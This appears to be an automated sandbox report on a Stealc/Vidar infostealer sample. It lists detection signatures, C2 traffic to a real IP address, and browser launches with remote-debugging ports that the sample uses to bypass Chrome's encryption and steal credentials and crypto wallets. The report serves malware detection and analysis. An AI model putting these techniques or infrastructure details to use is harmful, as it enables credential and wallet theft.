Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe
Analysis ID:	1631087
MD5:	f0ad59c5e3eb8da5cbbf9c731371941c
SHA1:	171030104a6c498d7d5b4fce15db04d1053b1c29
SHA256:	cda1bd2378835d92b53fca1f433da176f25356474baddacdd3cf333189961a19
Tags:	exeStealcuser-SecuriteInfoCom
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe (PID: 7408 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe" MD5: F0AD59C5E3EB8DA5CBBF9C731371941C)

chrome.exe (PID: 7800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8020 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1940,i,18391328260999041015,2170874192039568654,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 2332 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5572 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2268,i,10759757327518874650,6369260558671183439,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4008 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8152 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2020,i,11552602797106846461,12959609762823924808,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.lexfo.fr/StealC_malware_analysis_part1.html https://blog.lexfo.fr/StealC_malware_analysis_part2.html https://blog.lexfo.fr/StealC_malware_analysis_part3.html https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1680754967.0000000000781000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1682005007.000000000102E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1323536742.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1680754967.000000000084C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe PID: 7408	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, ParentProcessId: 7408, ParentProcessName: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7800, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:21:34.692942+0100	2044245	1	Malware Command and Control Activity Detected	38.180.229.217	80	192.168.2.7	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:21:34.685673+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49705	38.180.229.217	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:21:34.927734+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49705	38.180.229.217	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:22:04.609893+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.7	49705	38.180.229.217	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:21:35.485063+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49705	38.180.229.217	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:21:34.935967+0100	2044247	1	Malware Command and Control Activity Detected	38.180.229.217	80	192.168.2.7	49705	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:21:34.466898+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49705	38.180.229.217	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-06T16:21:36.728276+0100	2803304	3	Unknown Traffic	192.168.2.7	49705	38.180.229.217	80	TCP
2025-03-06T16:21:57.806827+0100	2803304	3	Unknown Traffic	192.168.2.7	49705	38.180.229.217	80	TCP
2025-03-06T16:21:58.785736+0100	2803304	3	Unknown Traffic	192.168.2.7	49705	38.180.229.217	80	TCP
2025-03-06T16:21:59.467376+0100	2803304	3	Unknown Traffic	192.168.2.7	49705	38.180.229.217	80	TCP
2025-03-06T16:22:00.026999+0100	2803304	3	Unknown Traffic	192.168.2.7	49705	38.180.229.217	80	TCP
2025-03-06T16:22:01.795940+0100	2803304	3	Unknown Traffic	192.168.2.7	49705	38.180.229.217	80	TCP
2025-03-06T16:22:02.240094+0100	2803304	3	Unknown Traffic	192.168.2.7	49705	38.180.229.217	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Virustotal: Detection: 63%			Perma Link
Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	ReversingLabs: Detection: 60%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE3A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CE3A9A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE344C0 PK11_PubEncrypt,	0_2_6CE344C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE34440 PK11_PrivDecrypt,	0_2_6CE34440
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE04420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE04420
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE825B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CE825B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE1E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CE1E6E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE18670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CE18670
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE3A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CE3A650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE5A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CE5A730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE60180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CE60180
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	Code function: 0_2_6CE343B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CE343B0

Source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689193673.000000007011D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689034180.000000006CF0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe, 00000000.00000002.1689193673.000000007011D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 11MB later: 28MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49705 -> 38.180.229.217:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49705 -> 38.180.229.217:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 38.180.229.217:80 -> 192.168.2.7:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49705 -> 38.180.229.217:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 38.180.229.217:80 -> 192.168.2.7:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49705 -> 38.180.229.217:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.7:49705 -> 38.180.229.217:80

Source: global traffic

TCP traffic: 192.168.2.7:56911 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 06 Mar 2025 15:21:36 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "10e436-6288a2718791b"Accept-Ranges: bytesX-Served-By: dugong.ydns.euData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Thu, 06 Mar 2025 15:21:57 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:45 GMTETag: "a7550-6288a270bb76e"Accept-Ranges: bytesX-Served-By: dugong.ydns.euData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
